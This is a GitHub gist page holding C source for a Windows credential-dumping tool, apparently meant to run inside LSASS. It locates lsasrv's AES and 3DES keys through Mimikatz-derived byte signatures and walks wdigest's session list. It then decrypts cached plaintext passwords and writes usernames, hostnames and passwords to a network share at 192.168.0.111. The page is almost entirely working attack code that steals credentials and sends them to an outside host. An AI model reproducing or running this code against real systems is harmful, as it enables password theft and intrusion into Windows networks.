Skip to content

Instantly share code, notes, and snippets.

@xpn
Created May 9, 2019 23:07
Show Gist options
  • Star 15 You must be signed in to star a gist
  • Fork 9 You must be signed in to fork a gist
  • Save xpn/12a6907a2fce97296428221b3bd3b394 to your computer and use it in GitHub Desktop.
Save xpn/12a6907a2fce97296428221b3bd3b394 to your computer and use it in GitHub Desktop.
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include "pch.h"
#include <windows.h>
#include <psapi.h>
#include <ntsecapi.h>
#include <sspi.h>
#include <sddl.h>
#include <wincred.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
#include <stdio.h>
#include <bcrypt.h>
#include <ntstatus.h>
#include <tlhelp32.h>
//** Offsets and Structs credited to Mimikatz **/
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY* Flink;
struct _KIWI_WDIGEST_LIST_ENTRY* Blink;
ULONG UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY* This;
LUID LocallyUniqueIdentifier;
UNICODE_STRING UserName; // 0x30
UNICODE_STRING Domaine; // 0x40
UNICODE_STRING Password; // 0x50
} KIWI_WDIGEST_LIST_ENTRY, * PKIWI_WDIGEST_LIST_ENTRY;
typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[60]; // etc...
} KIWI_HARD_KEY, * PKIWI_HARD_KEY;
typedef struct _KIWI_BCRYPT_KEY81 {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG unk2;
ULONG unk3;
ULONG unk4;
PVOID unk5; // before, align in x64
ULONG unk6;
ULONG unk7;
ULONG unk8;
ULONG unk9;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, * PKIWI_BCRYPT_KEY81;
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag; // 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY81 key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, * PKIWI_BCRYPT_HANDLE_KEY;
// Signature used to find AES/3DES/IV (PTRN_WN10_LsaInitializeProtectedMemory_KEY from Mimikatz)
unsigned char keyIVSig[] = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
// Signature used to find l_LogSessList (PTRN_WIN6_PasswdSet from Mimikatz)
unsigned char logSessListSig[] = { 0x48, 0x3b, 0xd9, 0x74 };
#define IV_OFFSET 61
#define DES_OFFSET -73
#define AES_OFFSET 16
#define USERNAME_OFFSET 0x30
#define HOSTNAME_OFFSET 0x40
#define PASSWORD_OFFSET 0x50
//* End structs and offsets *//
// Holds extracted InitializationVector
unsigned char gInitializationVector[16];
// Holds extracted 3DES key
unsigned char gDesKey[24];
// Holds extracted AES key
unsigned char gAesKey[16];
// Decrypt wdigest cached credentials using AES or 3Des
ULONG DecryptCredentials(char* encrypedPass, DWORD encryptedPassLen, unsigned char* decryptedPass, ULONG decryptedPassLen) {
BCRYPT_ALG_HANDLE hProvider, hDesProvider;
BCRYPT_KEY_HANDLE hAes, hDes;
ULONG result;
NTSTATUS status;
unsigned char initializationVector[16];
// Same IV used for each cred, so we need to work on a local copy as this is updated
// each time by BCryptDecrypt
memcpy(initializationVector, gInitializationVector, sizeof(gInitializationVector));
if (encryptedPassLen % 8) {
// If suited to AES, lsasrv uses AES in CFB mode
BCryptOpenAlgorithmProvider(&hProvider, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hProvider, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
BCryptGenerateSymmetricKey(hProvider, &hAes, NULL, 0, gAesKey, sizeof(gAesKey), 0);
status = BCryptDecrypt(hAes, (PUCHAR)encrypedPass, encryptedPassLen, 0, initializationVector, sizeof(gInitializationVector), decryptedPass, decryptedPassLen, &result, 0);
if (status != 0) {
return 0;
}
return result;
}
else {
// If suited to 3DES, lsasrv uses 3DES in CBC mode
BCryptOpenAlgorithmProvider(&hDesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0);
BCryptSetProperty(hDesProvider, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCryptGenerateSymmetricKey(hDesProvider, &hDes, NULL, 0, gDesKey, sizeof(gDesKey), 0);
status = BCryptDecrypt(hDes, (PUCHAR)encrypedPass, encryptedPassLen, 0, initializationVector, 8, decryptedPass, decryptedPassLen, &result, 0);
if (status != 0) {
return 0;
}
return result;
}
}
// Read memory from LSASS process
SIZE_T ReadFromLsass(void* addr, void* memOut, int memOutLen) {
SIZE_T bytesRead = 1;
memset(memOut, 0, memOutLen);
memcpy(memOut, addr, memOutLen);
return bytesRead;
}
// Open a handle to the LSASS process
HANDLE GrabLsassHandle(int pid) {
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
return procHandle;
}
// Searches for a provided pattern in memory and returns the offset
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) {
ULONG offset = 0;
// Hunt for signature locally to avoid a load of RPM calls
for (int i = 0; i < 0x200000; i++) {
if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) == signature[1]) {
if (memcmp(mem + i, signature, signatureLen) == 0) {
// Found the signature
offset = i;
break;
}
}
}
return offset;
}
// Recoveres AES, 3DES and IV from lsass memory required to decrypt wdigest credentials
int FindKeys(unsigned char* lsasrvMem) {
DWORD keySigOffset = 0;
DWORD ivOffset = 0;
DWORD desOffset = 0, aesOffset = 0;
KIWI_BCRYPT_HANDLE_KEY h3DesKey, hAesKey;
KIWI_BCRYPT_KEY81 extracted3DesKey, extractedAesKey;
void* keyPointer = NULL;
// Search for AES/3Des/IV signature within lsasrv.dll and grab the offset
keySigOffset = SearchPattern(lsasrvMem, keyIVSig, sizeof(keyIVSig));
if (keySigOffset == 0) {
return 1;
}
// Retrieve offset to InitializationVector address due to "lea reg, [InitializationVector]" instruction
ReadFromLsass(lsasrvMem + keySigOffset + IV_OFFSET, (char*)& ivOffset, 4);
// Read InitializationVector (16 bytes)
ReadFromLsass(lsasrvMem + keySigOffset + IV_OFFSET + 4 + ivOffset, gInitializationVector, 16);
// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction
ReadFromLsass(lsasrvMem + keySigOffset + DES_OFFSET, &desOffset, 4);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(lsasrvMem + keySigOffset + DES_OFFSET + 4 + desOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(keyPointer, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in the 3DES key
ReadFromLsass(h3DesKey.key, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY81));
// Copy to global
memcpy(gDesKey, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
// Retrieve offset to hAesKey address due to "lea reg, [hAesKey]" instruction
ReadFromLsass(lsasrvMem + keySigOffset + AES_OFFSET, &aesOffset, 4);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(lsasrvMem + keySigOffset + AES_OFFSET + 4 + aesOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(keyPointer, &hAesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in AES key
ReadFromLsass(hAesKey.key, &extractedAesKey, sizeof(KIWI_BCRYPT_KEY81));
// Copy to global
memcpy(gAesKey, extractedAesKey.hardkey.data, extractedAesKey.hardkey.cbSecret);
return 0;
}
// Reads out a LSA_UNICODE_STRING from lsass address provided
UNICODE_STRING* ExtractUnicodeString(char* addr) {
UNICODE_STRING* str;
WORD* mem;
str = (UNICODE_STRING*)LocalAlloc(LPTR, sizeof(UNICODE_STRING));
// Read LSA_UNICODE_STRING from lsass memory
ReadFromLsass(addr, str, sizeof(UNICODE_STRING));
mem = (WORD*)LocalAlloc(LPTR, str->MaximumLength);
if (mem == (WORD*)0) {
LocalFree(str);
return NULL;
}
// Read the buffer contents for the LSA_UNICODE_STRING from lsass memory
ReadFromLsass(*(void**)((char*)str + 8), mem, str->MaximumLength);
str->Buffer = (PWSTR)mem;
return str;
}
// Free memory allocated within getUnicodeString
void FreeUnicodeString(UNICODE_STRING * unicode) {
LocalFree(unicode->Buffer);
LocalFree(unicode);
}
// Hunts through wdigest and extracts credentials to be decrypted
int FindCredentials(unsigned char* wdigestMem, const char *outpath) {
HANDLE log = CreateFileA(outpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
KIWI_WDIGEST_LIST_ENTRY entry;
DWORD logSessListSigOffset, logSessListOffset;
unsigned char* logSessListAddr;
unsigned char* wdigestLocal;
unsigned char* llCurrent, * llStart;
unsigned char passDecrypted[1024];
char buf[1024];
DWORD bytesWritten = 0;
// Search for l_LogSessList signature within wdigest.dll and grab the offset
logSessListSigOffset = SearchPattern(wdigestMem, logSessListSig, sizeof(logSessListSig));
if (logSessListSigOffset == 0) {
return 1;
}
// Read memory offset to l_LogSessList from a "lea reg, [l_LogSessList]" asm
ReadFromLsass(wdigestMem + logSessListSigOffset - 4, &logSessListOffset, sizeof(DWORD));
// Read pointer at address to get the true memory location of l_LogSessList
ReadFromLsass(wdigestMem + logSessListSigOffset + logSessListOffset, &logSessListAddr, sizeof(char*));
// Read first entry from linked list
ReadFromLsass(logSessListAddr, &entry, sizeof(KIWI_WDIGEST_LIST_ENTRY));
llCurrent = (unsigned char*)entry.This;
do {
memset(&entry, 0, sizeof(entry));
// Read entry from linked list
ReadFromLsass(llCurrent, &entry, sizeof(KIWI_WDIGEST_LIST_ENTRY));
if (entry.UsageCount == 1) {
UNICODE_STRING* username = ExtractUnicodeString((char*)llCurrent + USERNAME_OFFSET);
UNICODE_STRING* hostname = ExtractUnicodeString((char*)llCurrent + HOSTNAME_OFFSET);
UNICODE_STRING* password = ExtractUnicodeString((char*)llCurrent + PASSWORD_OFFSET);
if (username != NULL && username->Length != 0) {
snprintf(buf, sizeof(buf), "Username: %ls\n", username->Buffer);
}
else {
snprintf(buf, sizeof(buf), "Username: [NULL]\n");
}
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL);
if (hostname != NULL && hostname->Length != 0) {
snprintf(buf, sizeof(buf), "Hostname: %ls\n", hostname->Buffer);
}
else {
snprintf(buf, sizeof(buf), "Hostname: [NULL]\n");
}
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL);
// Check if password is present
if (password->Length != 0 && (password->MaximumLength % 2) == 0) {
// Decrypt password using recovered AES/3Des keys and IV
memset(passDecrypted, 0, sizeof(passDecrypted));
if (DecryptCredentials((char*)password->Buffer, password->MaximumLength, passDecrypted, sizeof(passDecrypted)) > 0) {
snprintf(buf, sizeof(buf), "Password: %ls\n\n", passDecrypted);
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL);
}
else {
snprintf(buf, sizeof(buf), "Password: [Error Decrypting]\n\n");
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL);
}
}
else {
snprintf(buf, sizeof(buf), "Password: [NULL]\n\n");
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL);
}
FreeUnicodeString(username);
FreeUnicodeString(hostname);
FreeUnicodeString(password);
}
llCurrent = (unsigned char*)entry.Flink;
} while (llCurrent != logSessListAddr);
CloseHandle(log);
return 0;
}
int run()
{
const char* credOutput = "\\\\192.168.0.111\\ntds\\outcreds.txt";
HANDLE hLsass = NULL;
HMODULE lsassDll[1024];
DWORD bytesReturned;
unsigned char* lsass = NULL, * lsasrv = NULL, * wdigest = NULL;
lsass = (unsigned char*)GetModuleHandleA("lsass.exe");
wdigest = (unsigned char*)GetModuleHandleA("wdigest.dll");
lsasrv = (unsigned char*)GetModuleHandleA("lsasrv.dll");
// Make sure we have all the DLLs that we require
if (lsass == NULL || wdigest == NULL || lsasrv == NULL) {
return 1;
}
// Now we need to search through lsass for the AES, 3DES, and IV values
if (FindKeys(lsasrv) != 0) {
return 1;
}
// With keys extracted, we can extract credentials from memory
if (FindCredentials(wdigest, credOutput) != 0) {
return 1;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment